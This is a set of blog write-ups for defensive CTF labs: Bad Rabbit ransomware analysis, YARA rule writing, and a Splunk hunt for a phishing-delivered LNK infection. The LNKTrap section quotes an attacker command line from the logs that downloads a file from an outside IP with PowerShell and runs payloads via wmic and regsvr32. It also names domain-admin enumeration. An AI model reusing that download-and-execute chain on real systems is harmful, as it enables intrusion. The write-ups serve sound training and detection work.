Again, there are 2 ways to do this: Sandbox analysis (any.run) or OSINT. I’ll show you what both methods mention about Persistence. When analyzing the Malware, this is what you should be able to find:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*OCjLFMERzW5EJDQy7x_1Mg.png" /><figcaption>Method 1 (Sandbox Analysis)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*xLfy80IVgpjuVXAmcS_M3g.png" /><figcaption>Method 2 (OSINT). Source: <a href="https://blog.qualys.com/vulnerabilities-threat-research/2017/10/24/bad-rabbit-ransomware">Bad Rabbit — Ransomware | Qualys Security Blog</a></figcaption></figure><p>Both methods should tell you that persistence is created via Scheduled Tasks (or Jobs), which has a MITRE Entry:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fhAdUwX-OKpu0D4Xw2q6Lg.png" /></figure><p>Find the relevant ID and submit it.</p><blockquote>8: As part of its infection chain, the ransomware created specific tasks to ensure its continued operation. Recognizing these tasks is crucial for system restoration. What are the names of the tasks created by the ransomware during execution?</blockquote><p>You should be able to find these based on the information I’ve provided in Q7. It’s clear that the author of the ransomware is a GoT-fan. Technically, a third task is created later, but it’s not required to answer this question, since it’s not created during execution.</p><p><em>9: The ransomware executed a malicious binary to interact with a driver. Its execution was triggered by a task created during the attack. What suspicious message was displayed in the console upon the execution of this binary?</em></p><p>This question has a similar problem with Question 1 — there are MANY things suspicious about the display in the console upon execution.</p><p>What you need to know to answer this question is that the ransom note is displayed in the console. So, you have to find the ransom note.</p><p>The challenging part is that the Ransom note is technically findable quite easily. The problem is that most of the notes you will find are incomplete.</p><p>For example: If you use the blog I linked way earlier (from Securelists), you will find the following ransom note:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/0*1bCppSDQiE7O0PUk.png" /></figure><p>And what’s suspicious about it?</p><p>Well, the service domain (onion) could be considered suspicious. The installation key could be considered suspicious. The fact that you need to submit a password to a terminal, for which you have no clue what it’s going to do, is suspicious. And so on.</p><p>But when you check the Fortinet blog (<a href="https://www.fortinet.com/blog/threat-research/tracking-the-bad-rabbit">Tracking the Bad Rabbit</a>), you will find the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*QoiSwv2-pD7vHGvD.png" /></figure><p>Can you spot the difference? If you can, you can probably figure out what the correct answer is here ;-)</p><blockquote>10: To modify the Master Boot Record (MBR) and encrypt the victim’s hard drive, the ransomware utilized a specific driver. Recognizing this driver is essential for understanding the encryption mechanism.<br>What is the name of the driver used to encrypt the hard drive and modify the MBR?</blockquote><p>Another one for the OSINT set to answer. I wasn’t really able to find it in the any.run analysis I did. The blog from SecureLists can help greatly here:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*43QikhdzHrGFu945FbEzUg.png" /></figure><p>This behavior fits perfectly in the theme of the question, and the answer can be found here</p><blockquote>11: Investigators identified a driver file used by the ransomware for encryption. The hash of this file is a vital artifact for correlation with threat intelligence databases. What is the SHA256 hash of the critical driver file?</blockquote><p>OSINT to the rescue again. You need to find the SHA256 hash of the critical driver file you found in Question 10.</p><p>You can find this one in the Qualys blog: <a href="https://blog.qualys.com/vulnerabilities-threat-research/2017/10/24/bad-rabbit-ransomware">Bad Rabbit — Ransomware | Qualys Security Blog</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*zbIqdyzj8Bb4KHSCEygwJA.png" /></figure><p>From your research, you should be able to tell that cscc.dat is the legitimate driver, and dispci.exe interacts with it in a malicious way. Combining that knowledge should lead you to this entry, which is the correct answer</p><blockquote>12: Attribution is key to understanding the threat landscape. The ransomware was tied to a known attack group through its tactics, techniques, and procedures (TTPs). What is the name of the threat actor responsible for this ransomware campaign?</blockquote><p>I usually do not like these questions, because the internet can greatly argue about what hacker group is associated with it. That said, let’s take a look.</p><p>I found two possible actors related to BadRabbit in the Veronis Blog: <a href="https://www.varonis.com/blog/bad-rabbit-ransomware">Bad Rabbit Ransomware</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*Nk0pdgvx-4DkUeY9pwTbTA.png" /></figure><p>One of these turns out to be the correct answer.</p><p><em>13: The ransomware rendered the system unbootable by corrupting critical system components. Identifying the technique used provides insight into its destructive capabilities. What is the MITRE ATT&amp;CK ID for the technique used to corrupt the system firmware and prevent booting?</em></p><p>There’s a specific MITRE ID for Firmware Corruption:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oEuzgCMeqmLdCZMfF5JIRw.png" /></figure><p>Submit the ID to finish the lab.</p><h3>Review and Conclusion</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gvEv1j-bV5S4KNqa-1Vxzg.png" /></figure><p>When I originally did this lab, some of these questions were worded vaguely and/or incorrectly, and one question in particular was just downright mean. Other than that, the lab is good, and a great exercise to finding out what a piece of malware actually does and how it interacts with your systems. It also teaches you to use several sources to find your information.</p><p>I hope this write-up was helpful to you. If it was, I hope you’re willing to give it a thumbs up. If you’re doing this lab and find a better method of solving than I did, please do not hesitate and reach out to me on Discord (@itsgir). I will include your work in the write-up with credit.</p><p>Until the next one. Stay safe!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0be7f2bb3dc6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTF Write-up: YaraWizards (Certified Cyber Defenders]]></title>
            <link>https://medium.com/@itsGir/ctf-write-up-yarawizards-certified-cyber-defenders-6854d0fa4fa6?source=rss-26be3714c254------2</link>
            <guid isPermaLink="false">https://medium.com/p/6854d0fa4fa6</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <dc:creator><![CDATA[itsGir]]></dc:creator>
            <pubDate>Mon, 12 May 2025 17:37:59 GMT</pubDate>
            <atom:updated>2025-05-12T17:37:59.310Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/yara-wizards/">Blue team CTF Challenges | Yara Wizards — CyberDefenders</a></p><p>Welcome to my write-up on YaraWizards.</p><p>This is my first experience with writing a Yara rule, and as you will see by the end of this write-up, I hope a better experience can be provided in the future. This is the first lab I would <strong>not</strong> recommend you do — you will learn the basics of writing a rule, but you will not be able to write a proper rule at the end of it. In case you wonder why, read on :)</p><p>In this write-up, I will cover <a href="https://medium.com/u/4c9727d9f2ad">CyberDefenders</a>’ YaraWizards Lab:</p><h3>Scenario Introduction</h3><p>This scenario is called <strong>YaraWizards</strong>. It’s a <strong>Medium </strong>difficulty <strong>Detection Engineering </strong>lab which covers the following Tactics: “<em>Execution, Persistence, Privilege Escalation, Defense Evasion, Discovery, Collection, Command and Control and Impact”. </em>In addition, the tools <em>“Detect It Easy, Yara, FLOSS/Strings, Notepad++, ProcMon, Process Explorer, Process Hacker and YaraValidator”</em> are mentioned. YaraValidator was specifically written by the CCD-team to check for the flag, so it’s exclusive to this lab.</p><p>You can find the lab here: <a href="https://cyberdefenders.org/blueteam-ctf-challenges/yara-wizards/">Blue team CTF Challenges | Yara Wizards — CyberDefenders</a></p><blockquote><strong>Note: </strong>If you want to do this CTF, you must be registered at CyberDefenders and have a “Pro Subscriber” license active.</blockquote><p>The following information is given to us:<br><em>“As a detection engineer at IResponse, your daily duties include analyzing malware samples, identifying key characteristics, and developing Yara rules for detection. In this task, you’re provided with a specific malware sample to analyze, and your goal is to create and test a detection rule to ensure it effectively identifies threats.”</em></p><p>The lab itself is your default Windows Environment with your standard “Start here” folder. The artifact is a file called MalwareSample.exe, and we have several tools ready at our disposal to analyze them. That said, let’s begin our analysis!</p><h3>The Questions</h3><blockquote>1: Understanding how the malware extracts itself is crucial for analyzing its real-time functionality and behavior. What packer does this malware use to unpack and install itself without requiring a separate extraction program, specifically utilizing the Microsoft Cabinet (.cab) format?</blockquote><p>To answer this, we need one of our tools to analyze the file. I chose Detect It Easy, as I like it when it’s easy (in general) :)</p><p>So, I started up the file, and loaded the MalwareSample in to reveal the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*L0fZfAwjFJhtkC8v-Sa8QA.png" /></figure><p>It definitely mentions a Packer was detected, but it doesn’t tell you what packer in that same line. It does that one line further, before the Microsoft Cabinet entry. It’s a Self-Extracting Cabinet file, which is the correct answer to Question 1.</p><blockquote>2: Determining the file entropy helps in assessing the level of compression or encryption applied to the file. What is the entropy level of the file?</blockquote><p>We can also find this answer in Detect It Easy. There’s a checkbox on the right called “Advanced”. Click it to reveal a lot of options:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*A1ycHgD_GL0D8OUOf-fGwQ.png" /></figure><p>It’s probably not a shocker to tell you that we need “Entropy” to find the entropy level. (:</p><p>So, click it and you see the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*jG8iZjsVi9fuxfymLdbhcQ.png" /></figure><p>Make sure you round the answer <strong>down</strong> when submitting it!</p><blockquote>3: Understanding the batch file used in the execution process is crucial for tracing the malware’s behavior. What is the .bat file used to create the final .exe file?</blockquote><p>I couldn’t find this myself in DIE (Detect It Easy, no worries, not telling you to do something here…). So, I took a look at the other tools.</p><p>My guess is that the information we needed was obfuscated, so I took a look at <a href="https://github.com/mandiant/flare-floss">FLOSS</a>. This tool is suited to de-obfuscate strings, and perhaps the answer could be found there.</p><p>I ran a terminal in the Tools directory and executed the following command:</p><pre>floss.lnk &quot;C:\Users\Administrator\Desktop\Start here\Artifacts\YaraWizards\MalwareSample.exe&quot;</pre><p>And Floss got to work:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JKvDkzBBHTznna-thvDNzw.png" /></figure><p>When the rendering was completed, a TON of information appeared on screen:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0-ElezUOiDp1vIzGl-1DXQ.png" /></figure><p>I decided to take a scroll through all of this information (pun sort of intended) and my eye eventually fell on the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/324/1*T_I2K0RgHNPzHBVY8gYDXA.png" /></figure><p>That looks like a bat file for sure! It’s the correct answer to Question 3</p><blockquote>4: Knowing the command line used to run the batch file assists in recreating the execution flow for analysis. What is the command line used to run this .bat file?</blockquote><p>I… think you can do this. Just look a tad above.</p><blockquote>5: Identifying the final executable file is crucial for understanding the main payload delivered by the malware. What is the name of the final .exe file that the malware executes?</blockquote><p>For this, I started up Process Hacker, and opened the Malware Sample within:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/1*HKeGWGAR3v-KnuLBcjZjPA.png" /></figure><p>To find the answer, right click the MalwareSample process, select “Properties”, then look in the Job tab:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*_PNL9e58F-T9612Cic1_eA.png" /></figure><p>You can see the order of Process creation in the “Name” tab, which reveals a .exe file with a strange name being the final created executable. This is the correct answer to Question 5</p><blockquote>6: Identifying the path where the final executable is dropped is essential for understanding its execution context. What is the typical path used for dropping the final executable?</blockquote><p>Now that you’ve found the final executable, navigate to it in the Process Hacker (it’s launched, so you can find it). You will see the option to open the file path, which seems useful if you want to know what path it’s dropped in ;-)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/318/1*ZYD3EfLiLfNEP1QdnE1OoA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*Wmf-py7yGjxh_CScjXyFIw.png" /></figure><p>Hey look, it’s the batch file we found earlier in FLOSS!</p><p>Now, simply copy the path, amend it to fit the CCD format, and voila.</p><blockquote>7: Creating YARA rules based on identified patterns is key to detecting variants of the given malware sample. What is the flag you get when your rule successfully matches multiple variants of the same malware?</blockquote><p>Time for the big one. Let’s put everything we’ve found together.</p><p>First, the CCD-team already offers you three links to use for crafting your YARA rule, all provided by the same author:</p><p><a href="https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/">How to Write Simple but Sound Yara Rules — Nextron Systems</a><br><a href="https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/">How to Write Simple but Sound Yara Rules — Part 2 — Nextron Systems</a><br><a href="https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/">How to Write Simple but Sound Yara Rules — Part 3 — Nextron Systems</a></p><p>Second, let’s recap what we know, based off the answers we’ve found</p><ul><li>It contains a packer, which is used for self-extracting the cabinet file</li><li>It has a certain level of entropy</li><li>A batch file is used to create another executable file once this file is executed. Both files are dropped in a certain folder</li></ul><p>We have to write a rule in the Yara_Rule.yar folder, then use YaraValidator to verify the rule. If it is satisfied, it will provide the final answer.</p><p>The Yara_Rule.yar file is completely empty when we open it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*U58sxszWu2c-JorHXUHPAw.png" /></figure><p>So, time to fill it up.</p><p><strong>IMPORTANT NOTE BEFORE YOU PROCEED WITH MY WRITE-UP<br></strong>I was very disappointed that the rule I wrote actually gave me the flag. I’ve decided to write the smallest rule I could that would actually clear this question to prove my point. As you will see, this is an incredibly generic rule, and it should not ever be used as an example here, but it did. Please continue with the official walkthrough if you want an example of how it should have been written.</p><p><strong>PROCEED. :)</strong></p><pre>rule Malware_RDP_Detected {<br> strings:<br>  $s1 = &quot;/d /c&quot;<br> condition:<br>   ($s1)<br>}</pre><p>Yes, this actually gives you the flag.</p><p>To test the rule, execute the following command in the terminal from the folder where the tool is installed:</p><pre>YaraValidator.exe -e</pre><p>When executing the YaraValidator, it will tell you the accuracy of your rule:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*4sn56DlzuS5RkkpU5d9s4g.png" /><figcaption>I did this with a copypaste of one of the articles, so it wasn’t tuned at all</figcaption></figure><p>The goal is to find a balance between Sample Detection and False Positives. You will NOT get the flag if you detect all 38 Samples (and have 0 FP). I will admit that this doesn’t really make sense to me, but I guess that’s the trade-off you make between accuracy and speed.</p><p>When you execute the validator with the correct rule, it will reveal the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*ZzosnUqOSW7NgxNBSU5yQA.png" /></figure><p>Submit the flag to finish the lab.</p><h3>Review and Conclusion</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*49QF60cAAEfDAcsiFLOsBw.png" /></figure><p>The build-up for this lab was incredible, and the end result… wasn’t. This is the first lab I’ve done on CCD that I did not feel satisfied with — it’s the lowest one I’ve rated. For the leaderboard and my profile, it’s a good finish, but I sincerely hope a better validation can be done on this tool. It’s absurd that a single string and condition give you the flag, while there are so many other characteristics of the Malware that should be included too.</p><p>I hope this write-up was helpful to you. If it was, I hope you’re willing to give it a thumbs up. If you’re doing this lab and find a better method of solving than I did, please do not hesitate and reach out to me on Discord (@itsgir). I will include your work in the write-up with credit.</p><p>Until the next one. Stay safe!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6854d0fa4fa6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTF Write-up: LNKTrap (Certified Cyber Defenders)]]></title>
            <link>https://medium.com/@itsGir/ctf-write-up-lnktrap-certified-cyber-defenders-0e9e0df176f3?source=rss-26be3714c254------2</link>
            <guid isPermaLink="false">https://medium.com/p/0e9e0df176f3</guid>
            <category><![CDATA[cyberdefender]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <dc:creator><![CDATA[itsGir]]></dc:creator>
            <pubDate>Mon, 28 Apr 2025 15:21:11 GMT</pubDate>
            <atom:updated>2025-04-28T15:21:11.835Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/lnktrap/">Blue team CTF Challenges | LNKTrap — CyberDefenders</a></p><p>Welcome to my write-up on LNKTrap</p><p>The description of this lab is a classic example of lacking cyber awareness. Someone believed malicious activity was in fact legitimate, carried on with it and got infected by it. You’ll see many examples of this happening over the course of your cybersecurity career. If you’re a reader of my work, you know I ALWAYS advocate for proper patching, but a sufficient level of awareness is equally important.</p><p>In this write-up, I will cover <a href="https://medium.com/u/4c9727d9f2ad">CyberDefenders</a>’ LNKTrap Lab:</p><h3>Scenario Introduction</h3><p>This scenario is called <strong>LNKTrap</strong>. It’s a <strong>Medium </strong>difficulty <strong>Threat Hunting </strong>lab which covers the following Tactics: “<em>Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Lateral Movement and Command and Control”. </em>In addition, the tools <em>“Splunk and CyberChef”</em> are mentioned (which previews we have some decoding work to do in our SIEM)</p><p>You can find the lab here: <a href="https://cyberdefenders.org/blueteam-ctf-challenges/lnktrap/">Blue team CTF Challenges | LNKTrap — CyberDefenders</a></p><blockquote><strong>Note: </strong>If you want to do this CTF, you must be registered at CyberDefenders and have a “Pro Subscriber” license active.</blockquote><p>The following information is given to us:<br><em>InfinitTech Solutions, an IT company, recently opened a job position and received multiple applications via email. One of these emails contained no attachment but instead linked to an external webpage where the candidate’s “Download CV” button was hosted. An IT staff member, believing the site to be legitimate, visited the link and downloaded the file. Upon execution, the machine was compromised.</em></p><p><em>Your mission is to investigate how the attack was carried out, what actions the attacker attempted on the system, and how to prevent similar incidents in the future. Initial findings suggest the attacker is a script kiddie, as multiple failed attempts were made to escalate privileges and maintain access. Analyze the attack, uncover the techniques used, and secure the environment.</em></p><p>This lab is a Cloud-based Splunk environment with a large set of data loaded in. Based on the total dataset, we’re looking at a total of about x records, and it seems most activity took place between x and y. So, let’s focus on that and start our investigation!</p><h3>The Questions</h3><blockquote>1: [Initial Access] During the investigation, logs indicate that the last logged in IT employee whose visited the malicious link from a phishing email. Which employee’s email address was compromised?</blockquote><p>The first thing we need is the email logs. This will help us answer both question 1 and 2.</p><p>To look for it, I used the following query in Splunk:</p><pre>index=* source=&quot;/var/log/syslog&quot; process=postfix/* <br>|  sort _time +</pre><p>This will give me access to all Postfix related logs, which are stored in the syslog file, in order of appearance. The result is about 100 records:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YBbb6uMq_k_Jo71ocLHJ-w.png" /></figure><p>By examining the records, you will find the following combinations of sender and recipient:</p><ul><li><strong>28/01/2025 at 09:32:43: </strong>Steohen_Thornton12@gmail.com to btorres@infinitechsolutions.xyz</li><li><strong>28/01/2025 at 09:33:36: </strong>Peter_Mitchell3123@Yahoo.com to bsilva@infinitechsolutions.xyz</li><li><strong>28/01/2025 at 09:38:23</strong>: Albert_Loki@gmail.com to btorres@infinitechsolutions.xyz</li><li><strong>28/01/2025 at 09:39:24</strong>: James_Hanson12@outlook.com to bsilva@infinitechsolutions.xyz</li></ul><p>The question is: which of these is the correct combination for Questions 1 and 2? Well, you can guess it based on the answer format, but let’s find the actual proof.</p><p>The lab description mentions the following:</p><p><em>One of these emails contained no attachment but instead linked to an external webpage where the candidate’s “Download CV” button was hosted. An IT staff member, believing the site to be legitimate, visited the link and downloaded the file.</em></p><p>So, let’s look into the file creations under these users to see which of the two is the most likely candidate:</p><pre>index=* EventCode=11 user=bsilva | sort _time +</pre><pre>index=* EventCode=11 user=btorres | sort _time +</pre><p>The user bsilva yields no results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*w1AVYFoKoJPvtFhe3hO-Zw.png" /></figure><p>I think it’s safe to say that bsilva is not the user in question. This ignores two entries out of the previous four. Let’s do the same for btorres:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9gS6Vg3lWOZ0kfhUhYhy8A.png" /></figure><p>There are results here. Let’s investigate the files being created:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*o9r8KXWgIdjLgnNXxOyxvA.png" /></figure><p>Albert_Resume huh? I think we have the answer to the first 2 questions now. I’m sure you know the user that was compromised and you should also know:</p><blockquote>2: [Initial Access] The phishing email impersonated a job applicant. What email address did the attacker use to send the malicious link?</blockquote><p>See above. :)</p><blockquote>3: [Execution] The downloaded file appeared to be a CV but was a compressed archive containing a shortcut file. What is the SHA256 hash of the shortcut file responsible for the initial execution?</blockquote><p>Let’s look at that .lnk file in a bit more detail:</p><pre>index=* EventCode=11 user=btorres  TargetFilename=&quot;C:\\Users\\btorres\\Downloads\\Albert_Resume\\Albert_Resume.lnk&quot; | sort _time +</pre><p>The remaining entries give us the following information:</p><ul><li>The file was created on host “ws01” (I’m guessing workstation01)</li><li>Time of creation was 28th of January 2025, 11:31:40</li><li>The image was “winrar.exe”, meaning it was extracted.</li><li>The filepath was C:\Users\btorres\Downloads\Albert_Resume\Albert_Resume.lnk, meaning the original compressed archive was probably Albert_Resume.zip (or .rar)</li></ul><p>To find the filehash, we need to navigate to Sysmon Event ID 15 (File Stream), since this usually contains hashes (and Sysmon Event ID 11 does not). Let’s amend the query as follows:</p><pre>index=* EventID=15  TargetFilename=&quot;C:\\Users\\btorres\\Downloads\\Albert_Resume\\Albert_Resume.lnk&quot; | sort _time +</pre><p>This gives us the following result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ORrf6fuckiQ0B9nFkIzC7w.png" /></figure><p>Submit the SHA256 hash here to clear this question.</p><blockquote>4: [Execution] Once executed, the shortcut file retrieved a legitimate configuration file to be used with another binary that initiated the infection. What IP address did the malicious script connect to to download additional payloads?</blockquote><p>Knowing the host the .lnk file was created and executed on, I decided to look in general for Network Connect event (Sysmon Event ID 3) from this system:</p><pre>index=* EventID=3 Channel=&quot;Microsoft-Windows-Sysmon/Operational&quot; Computer=ws1 | sort _time +</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q3zfJl9tikoQYDOX4W9HXw.png" /></figure><p>Examining the Destination IP address reveals a very clear outlier:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*_YoWeVY4w_aItKNZoQIJ5Q.png" /></figure><p>This outlier is the correct answer to this question. The communication also takes place over Port 80 (HTTP), which is another suspicious sign.</p><blockquote>5: [Execution] Analysis reveals the shortcut file triggered an attempt to load a COM scriptlet hosted on an external server through the copied binary. What was the filename of the malicious Component Object Model (COM) scriptlet, which failed to download due to path errors?</blockquote><p>I am REALLY grateful that this question was frequently discussed in the CCD-discord, because no way on earth I would’ve found this myself (at least, not in a short time). Kudos to the ones who did and provided enough information for us to find it pretty much right away.</p><p>To answer this, there’s a few things you need to know:</p><ul><li>First, read the question <strong>carefully</strong>. It mentions the following things: It was an attempt to download a scriplet. This attempt failed due to path errors.</li><li>Second is the Event ID you need. The Event ID that is required is Microsoft-Windows-CAPI2 (CryptoAPI)’s Event ID <strong>81</strong>, which is a digital signature or trust failure. There’s not even a proper Event ID description on the internet, so I asked AI to give me a breakdown:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*sPAL09Ae7ZezU5J6I8yXsw.png" /></figure><p>Let’s investigate that Event ID with the following query:</p><pre>index=* EventID=81 host=WS1 eventtype=err0r</pre><p>By examining the remaining 2 records, you can find the answer in the filePath value:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/462/1*eLFYWMXZih_4iikv8Ji-Pw.png" /></figure><p>Again, thank you to the other competitors for finding this first. I cannot imagine how frustrating that must’ve been.</p><blockquote>6: [Execution] After executing the COM script, a DLL was dropped on the system. What was the name of this DLL?</blockquote><p>I would’ve expected a file creation event for this, but I was unable to find it. I was able to find it in a different way: via Process Execution log (Sysmon Event ID 1). So, let’s look as specific as possible. We want all dll files involved in Process Creation on the WS1 host related to the IP-address we found earlier:</p><pre>index=* .dll source=&quot;XmlWinEventLog:Microsoft-Windows-Sysmon/Operational&quot; EventCode=1 host=&quot;WS1&quot; 18.199.152.73 | sort _time +</pre><p>If you examine these, records, you will spot the following really long command:</p><pre>&quot;C:\Windows\system32\cmd.exe&quot; /c &quot;powershell -Command Invoke-WebRequest -Uri &#39;http://18.199.152.73/ieuinit.inf&#39; -OutFile &#39;C:\Users\btorres\AppData\Roaming\microsoft\ieuinit.inf&#39;; set Pupils59=Seats; cmd.exe /S /D /c xcopy /Y /C /Q C:\Windows\system32\ie4uinit.exe C:\Users\btorres\AppData\Roaming\microsoft\*; cmd.exe /S /D /c start wmic process call create &#39;C:\Users\btorres\AppData\Roaming\microsoft\ie4uinit.exe -BaseSettings&#39;; cmd.exe /S /D /c wmic process call create &#39;C:\Users\btorres\AppData\Roaming\microsoft\ie4uinit.exe -BaseSettings&#39;; cmd.exe /S /D /c set Pupils4=Involves Bestsellers Clubs Discussions Crane Acquire Switch Young Estates Advisors Presents Calls Subscriptions Replies Rangers Con Quote Thesis Makers Gives Folks Quality Vital Posters Paintings Diamond Legend Crucial Installations Across Surplus Double Diabetes Centuries Stadium Unveil Input Segment Databases Disabilities Desert Baskets Ghost Recall Illustrations Pattern Friend Spoon Agents Directories Paperbacks Spike Watches PilotC:\Users\btorres\AppData\Roaming\microsoft\ie4uinit.exe -BaseSettings; cmd.exe /S /D /c regsvr32 /s C:\Users\btorres\AppData\Roaming\\microsoft\\2056.dll</pre><p>What on earth… In a nutshell, this is what it does:</p><ul><li>Executes a <strong>PowerShell</strong> command to download a file (ieuinit.inf) from the IP 18.199.152.73 and save it to C:\Users\btorres\AppData\Roaming\microsoft\ieuinit.inf</li><li>Sets an environment variable Pupils59 to Seats.</li><li>Uses xcopy to copy ie4uinit.exe (a legitimate Windows file) from <strong>System32</strong> to a user directory.</li><li>Uses <strong>WMIC (Windows Management Instrumentation Command-line)</strong> to execute the copied file (ie4uinit.exe) with the argument -BaseSettings.</li><li>Execute the file again without the start prefix, to ensure execution if the first command fails</li><li>Set another, very long, environment variable Pupils4</li><li>Registers 2056.dll using regsvr32, which is a legitimate Windows tool for loading DLL files.</li></ul><p>It seems we found the malicious DLL file in question.</p><blockquote>7: [Persistence &amp; Command and Control (C2)] To maintain persistence, the attacker created a scheduled task. What is the name of this scheduled task?</blockquote><p>This is a fairly easy find. Let’s look for execution of the “schtasks.exe” file, or the “schtasks” command:</p><pre>index=* host=&quot;WS1&quot; schtasks | sort _time +</pre><p>Examine the CommandLine values to quickly find the answer:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*nIHmjinyVLTy3y_ZKjwcJw.png" /></figure><p>The TN (Task Name) is the correct answer</p><blockquote>8: [Persistence &amp; Command and Control (C2)] The attacker attempted to use a trusted Microsoft binary to execute an XML encrypted payload for C2. What is the name of the binary that was abused?</blockquote><p>This is mostly a knowledge question, and I found it by mere coincidence by examining the file creation events of executables on the WS01 host:</p><pre>index=main host=&quot;ws1&quot; EventCode=11 source=&quot;XmlWinEventLog:Microsoft-Windows-Sysmon/Operational&quot; TargetFilename=*.exe</pre><p>This will reveal the file in question created at the 28th of January at 11:36:04:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WUlHfeq3yXnYrPHE-BcquA.png" /></figure><p>The file is part of the Microsoft Core XML Services, as <a href="https://www.catalog.update.microsoft.com/Search.aspx?q=Microsoft%20Core%20XML%20Services%20(MSXML)%204.0">https://www.catalog.update.microsoft.com/Search.aspx?q=Microsoft%20Core%20XML%20Services%20(MSXML)%204.0</a>, and it was abused to execute the encrypted payload.</p><p>I think you can find it now :)</p><blockquote>9: [Persistence &amp; Command and Control (C2)] A beacon was deployed to establish Command and Control (C2) communication with the attacker. What is the name of the beacon file?</blockquote><p>To find this, I decided to investigate the Network traffic as created by the system it was running on, by looking into Sysmon Event ID 3:</p><pre>index=main host=&quot;ws1&quot; EventCode=3 source=&quot;XmlWinEventLog:Microsoft-Windows-Sysmon/Operational&quot;</pre><p>Examining the “Image” metadata value will reveal a very clear outlier</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*cDdFS_zyDR5Va-faiNN0bw.png" /></figure><p>An .ocx file is a Windows ActiveX Control file. OCX is short for OLE Control Extension, a software component technology from Microsoft. This file is the correct answer here.</p><blockquote>10: [Persistence &amp; Command and Control (C2)] The attacker monitored system performance metrics to avoid detection. For how many seconds did they track the Processor Queue Length counter?</blockquote><p>I admittely found this via wildcard search originally (which works). But having knowledge of what executable performs this monitoring would help you greatly.</p><p>The utility that was used is <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/typeperf"><strong>typeperf</strong></a>, which prints performance data of the system to the terminal (or a logfile). So, let’s examine all process execution events containing typeperf:</p><pre>index=main host=&quot;ws1&quot; EventCode=1 source=&quot;XmlWinEventLog:Microsoft-Windows-Sysmon/Operational&quot; typeperf.exe</pre><p>This results in the following entry, with the corresponding command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*7h0KgrYITHJ8-alweMPwMg.png" /></figure><p>The “si” flag specifies the “sample interval”, which is the time measured. “sc-1” is the amount of samples to collect, which is 1. The Processor Queue Length is being measured here. The time measured value is the answer you need.</p><blockquote>11: [Privilege Escalation &amp; Lateral Movement] The attacker attempted to dump the members of the domain admin group. What is the filename of the dumped data?</blockquote><p>Most likely the command “Net group /domain “Domain Admins”” (or an equivalent, like Net group “Domain Admins” /domain”) was used. If that’s the case, it’s most likely done via cmd.exe, and it is most likely done on the Domain Controller. So, let’s look for all process creation events by this executable:</p><pre>index=main host=&quot;DC01&quot; EventCode=1 source=&quot;XmlWinEventLog:Microsoft-Windows-Sysmon/Operational&quot; Image=&quot;C:\\Windows\\System32\\cmd.exe&quot;</pre><p>This results in a pair of entries that, when opened, reveal the command used and the file name the data was written to:</p><figure><img alt="" 